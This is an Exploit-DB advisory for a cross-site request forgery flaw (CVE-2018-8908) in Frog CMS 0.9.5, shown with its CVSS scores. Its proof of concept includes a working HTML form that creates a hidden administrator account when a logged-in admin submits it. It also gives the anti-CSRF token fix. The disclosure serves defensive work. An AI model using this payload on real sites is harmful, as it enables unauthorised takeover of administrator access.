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Samrat DasEDB-ID:44383

HistoryApr 02, 2018 - 12:00 a.m.

Frog CMS 0.9.5 - Cross-Site Request Forgery (Add User)

2018-04-0200:00:00

Samrat Das

www.exploit-db.com

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

8.8

Confidence

High

EPSS

0.002

Percentile

55.9%

JSON

# Exploit Title: Cross Site Request Forgery- Frog CMS
# Date: 31-03-2018
# Exploit Author: Samrat Das
# Contact: http://twitter.com/Samrat_Das93
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: https://github.com/philippe/FrogCMS
# Version: 0.9.5
# CVE :  CVE-2018-8908
# Category: Webapp CMS


1. Description

The application source code is coded in a way which allows malicious HTML
request to be executed without veryifying source of request.This leads to
arbitary execution with malicous request which will lead to the creation of
a privileged user.

2. Proof of Concept

      Visit the application
      Visit the Add Users Page.
      Craft an html page with all the details for an admin user creation
and host it on a server
      Upon the link being clicked by a logged in admin user, immidiately,
another admin user will get created.

Exploit Code:

<html>
  <body>
    <form action="http://localhost/frog/admin/?/user/add" method="POST">
      <input type="hidden" name="user&#91;name&#93;" value="Test&#95;1" />
      <input type="hidden" name="user&#91;email&#93;" value="" />
      <input type="hidden" name="user&#91;username&#93;" value="test" />
      <input type="hidden" name="user&#91;password&#93;" value="test" />
      <input type="hidden" name="user&#91;confirm&#93;" value="test" />
      <input type="hidden"
name="user&#95;permission&#91;administrator&#93;" value="1" />
      <input type="hidden" name="commit" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


3. Solution:

Solution - Fix & Patch: The application code should be configured to
implement anti csrf token to filter malicous HTTP Requests.


4. Public Reference with POC and steps:

http://securitywarrior9.blogspot.in/2018/03/cross-site-request-forgery-frog-cms-cve.html

Thanks and Regards
Samrat

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

8.8

Confidence

High

EPSS

0.002

Percentile

55.9%

JSON

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